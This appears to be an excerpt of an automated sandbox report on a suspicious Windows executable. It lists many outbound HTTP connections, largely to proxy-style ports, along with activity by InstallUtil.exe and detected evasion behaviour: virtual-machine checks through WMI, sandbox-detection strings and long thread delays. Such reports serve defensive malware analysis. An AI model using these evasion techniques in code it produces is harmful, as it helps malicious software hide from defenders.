Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 543
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 9733
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 2419
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 8585 -> 50932
Source: unknown	Network traffic detected: HTTP traffic on port 51015 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51012 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 53397
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 38721
Source: unknown	Network traffic detected: HTTP traffic on port 51082 -> 27829
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 25295
Source: unknown	Network traffic detected: HTTP traffic on port 50711 -> 42042
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 51039 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 51211 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 53935
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 63135
Source: unknown	Network traffic detected: HTTP traffic on port 51123 -> 33466
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 42369
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 46286
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 6467
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 6161
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50615
Source: unknown	Network traffic detected: HTTP traffic on port 51261 -> 38338
Source: unknown	Network traffic detected: HTTP traffic on port 51265 -> 8380
Source: unknown	Network traffic detected: HTTP traffic on port 51175 -> 45620
Source: unknown	Network traffic detected: HTTP traffic on port 51275 -> 46097
Source: unknown	Network traffic detected: HTTP traffic on port 51296 -> 32100
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50689 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 17970
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 11176
Source: unknown	Network traffic detected: HTTP traffic on port 50817 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 51231 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51253 -> 1772
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51211
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 35557
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51098 -> 8037
Source: unknown	Network traffic detected: HTTP traffic on port 51321 -> 8881
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 38242
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51333 -> 2335
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 20074
Source: unknown	Network traffic detected: HTTP traffic on port 50573 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51343 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50725
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 50879
Source: unknown	Network traffic detected: HTTP traffic on port 51194 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50898
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 15427
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51195 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 51393 -> 3000
Source: unknown	Network traffic detected: HTTP traffic on port 51295 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51433 -> 1647
Source: unknown	Network traffic detected: HTTP traffic on port 8881 -> 51321
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51508 -> 9367
Source: unknown	Network traffic detected: HTTP traffic on port 50934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51559 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50683 -> 13988
Source: unknown	Network traffic detected: HTTP traffic on port 51491 -> 40927
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 15393
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 26154
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 15685
Source: unknown	Network traffic detected: HTTP traffic on port 51563 -> 87
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 17179
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 32520
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 53935
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 46286
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 51371 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 6161 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 50661 -> 8090
Source: unknown	Network traffic detected: HTTP traffic on port 51588 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 6467 -> 51138
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 48963
Source: unknown	Network traffic detected: HTTP traffic on port 51625 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51419 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51596 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51604 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 20002
Source: unknown	Network traffic detected: HTTP traffic on port 51431 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 51615 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50994
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 50737
Source: unknown	Network traffic detected: HTTP traffic on port 51598 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 23031
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51477 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51430 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 50938 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 51644 -> 63425
Source: unknown	Network traffic detected: HTTP traffic on port 51661 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 63135
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 25295
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51574 -> 9999
Source: unknown	Network traffic detected: HTTP traffic on port 51368 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51627 -> 55215
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 53397
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 38721
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 17970
Source: unknown	Network traffic detected: HTTP traffic on port 51275 -> 46097
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 28134
Source: unknown	Network traffic detected: HTTP traffic on port 51261 -> 38338
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50673
Source: unknown	Network traffic detected: HTTP traffic on port 53281 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 51557 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 20074 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 50987 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51706 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51295
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 38242
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 51195
Source: unknown	Network traffic detected: HTTP traffic on port 51691 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51700 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51631 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51662 -> 11
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51062
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 15393
Source: unknown	Network traffic detected: HTTP traffic on port 50817 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51269
Source: unknown	Network traffic detected: HTTP traffic on port 8090 -> 50661
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 4154

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: n1KVzXM8Wk.exe PID: 6812, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Memory allocated: 119922A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Memory allocated: 119ABC40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 32F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3100000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999822	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999717	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998499	Jump to behavior
